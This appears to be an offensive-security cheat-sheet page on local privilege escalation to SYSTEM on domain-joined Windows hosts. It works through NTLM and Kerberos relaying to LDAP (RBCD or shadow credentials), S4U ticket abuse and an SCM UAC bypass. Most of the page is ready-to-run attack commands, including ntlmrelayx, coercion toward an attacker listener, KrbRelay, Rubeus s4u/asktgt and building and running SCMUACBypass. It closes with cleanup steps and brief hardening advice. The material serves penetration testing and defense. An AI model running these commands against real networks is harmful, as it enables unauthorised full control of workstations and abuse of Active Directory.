LPE via NTLM and Kerberos relaying

On a domain-joined workstation where you only have a standard user session, the local computer account (WORKSTATION$) can still authenticate to directory services. If the domain controller accepts unsigned LDAP, an attacker can relay that authentication to LDAP and modify the workstation object, typically to configure RBCD or shadow credentials. Then use Kerberos delegation or PKINIT to obtain a privileged ticket to host/<workstation> and finally abuse the Service Control Manager (SCM) for NT AUTHORITY\SYSTEM.

This is the same trust abuse as lateral RBCD, but the victim object is the machine you are sitting on.

Defaults that enable this

Microsoft still allows LDAP without signing on many domains (ADV190023). ms-DS-MachineAccountQuota defaults to 10, so any domain user can create a computer account unless hardened.

Automated chain: KrbRelayUp (wrapper around KrbRelay, Rubeus, PowerMad, Whisker, SCMUACBypass). Manual steps below mirror what this tool automates.

Prerequisites

Requirement	RBCD path	Shadow-credentials path
Domain-joined Windows host	Yes	Yes
Low-priv interactive session on that host	Yes	Yes
DC LDAP signing not required (default)	Yes	Yes
Controlled computer account (SPN)	Create via MAQ, or reuse a host you own	Not required for the relay write
ms-DS-MachineAccountQuota > 0	Needed if creating a new computer	No
AD CS + PKINIT-capable DC	No	Yes

Set TARGET = short hostname of the compromised workstation ($env:COMPUTERNAME), DC = domain controller FQDN, DOMAIN = DNS domain.

Path 1: NTLM relay to LDAP (RBCD)

Use when you can run ntlmrelayx on an attacker host and coerce the victim workstation's machine account to authenticate to your listener. Less self-contained than Path 2; coercion from inside a low-priv session alone is often blocked by egress/firewall.

1. Validate environment

nxc ldap dc01.lab.local -u user -p pass -M maq
nxc ldap dc01.lab.local -u user -p pass -M ldap-signing

2. Start the relay on the attacker host

impacket-ntlmrelayx -t ldaps://dc01.lab.local --delegate-access --escalate-user EVIL$ -smb2support

--delegate-access creates EVIL$ (if needed) and writes its SID into msDS-AllowedToActOnBehalfOfOtherIdentity on the relayed computer object (the workstation that authenticated).

3. Coerce the workstation to your listener

From a foothold that can trigger RPC coercion toward your relay (often not the low-priv session alone):

coercer coerce -d lab.local -u user -p pass -t workstation.lab.local -l ATTACKER

See Coercer and SMB relaying.

4. S4U against the local host

Follow the Windows chain in RBCD, impersonating Administrator for host/TARGET.lab.local (or cifs/...) using EVIL$ credentials.

Rubeus.exe s4u /user:ATTACKER$ /aes256:<hash> /impersonateuser:Administrator /msdsspn:host/target.lab.local /ptt

Path 2: Local Kerberos relay (KrbRelay, RBCD)

KrbRelay triggers local Kerberos authentication (via COM/OXID) and relays it to ldap/DC, then patches RBCD on TARGET$. Reference walkthrough: tothi GIST.

1. Check machine account quota

nxc ldap dc01.lab.local -u user -p pass -M maq

If MAQ = 0, skip account creation and use a computer account you already control (see RBCD without a new computer).

2. Create an attacker computer account

# PowerMad / SharpMad on the victim host (domain user is enough)
New-MachineAccount -MachineAccount EVIL -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)

# Resolve the new account's SID (adjust DN)
$evil_sid = ([ADSI]"LDAP://CN=EVIL,CN=Computers,DC=lab,DC=local").objectSID
(New-Object System.Security.Principal.SecurityIdentifier($evil_sid.Value, 0)).Value

3. Find a free OXID resolver port

CheckPort.exe ships with KrbRelay. Pick a port it reports as usable (commonly in the 1024-65535 range):

CheckPort.exe

4. Relay and configure RBCD on TARGET$

KrbRelay.exe -spn ldap/dc01.lab.local ^
  -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 ^
  -rbcd S-1-5-21-...-1234 ^
  -port 12345

On success, msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET$ trusts EVIL$.

5. Request a privileged ticket to the local host

Rubeus.exe hash /user:EVIL /password:Password123! /domain:lab.local
Rubeus.exe s4u /user:EVIL$ /rc4:<hash> /impersonateuser:Administrator ^
  /msdsspn:host/TARGET.lab.local /ptt

Prefer /aes256: when the account supports it (tool cheat sheet).

6. Elevate to SYSTEM

SCM UAC bypass in the same logon session.

Path 3: Local Kerberos relay (KrbRelay, shadow credentials)

Same relay primitive, but KrbRelay writes msDS-KeyCredentialLink instead of RBCD. Does not need MAQ; does need AD CS and PKINIT (shadow credentials).

1. Find an OXID port

CheckPort.exe

2. Relay and add key material to TARGET$

KrbRelay.exe -spn ldap/dc01.lab.local ^
  -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 ^
  -shadowcred -port 12345

KrbRelay prints a Rubeus asktgt command using the generated certificate.

3. Obtain a TGT for TARGET$

Run the printed command; add /nowrap /enctype:aes256 when possible:

Rubeus.exe asktgt /user:"TARGET$" /certificate:<base64> /password:<pfx-pass> /nowrap /enctype:aes256

4. S4U to local admin on the workstation

Rubeus.exe s4u /user:TARGET$ /ticket:<base64-tgt> /impersonateuser:Administrator ^
  /self /altservice:host/TARGET /ptt

5. Elevate to SYSTEM

SCM UAC bypass.

Elevation: SCM UAC bypass

Standard users cannot create services as SYSTEM, but with a valid host/TARGET ticket in the current session, SCMUACBypass patches SCM to accept local Kerberos authentication for service creation:

# Build the GIST in a VS shell
cl -DUNICODE SCMUACBypass.cpp advapi32.lib


# Execute it on the target machine to elevate privileges to SYSTEM
SCMUACBypass.exe

A new service runs cmd.exe as SYSTEM. The service name is typically UacBypassedService.

Cleanup

Artifact	RBCD path	Shadow-credentials path
Local service	sc delete UacBypassedService	Same
msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET$	Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount $null or impacket-rbcd -delegate-to 'TARGET$' -action flush 'lab.local/user:pass'	n/a
msDS-KeyCredentialLink on TARGET$	n/a	Whisker.exe remove /target:"TARGET$" /deviceid:<id>
Rogue EVIL$ account	Remove-ADComputer EVIL / Remove-MachineAccount EVIL / impacket-addcomputer -delete ...	n/a

Mitigation and detection

Harden the directory (primary fix):

• Require LDAP signing and channel binding on domain controllers (ADV190023, KB4520412).
• Enable EPA on AD CS and other relay-sensitive services.
• Set ms-DS-MachineAccountQuota to 0 for standard users; delegate join rights to a dedicated group.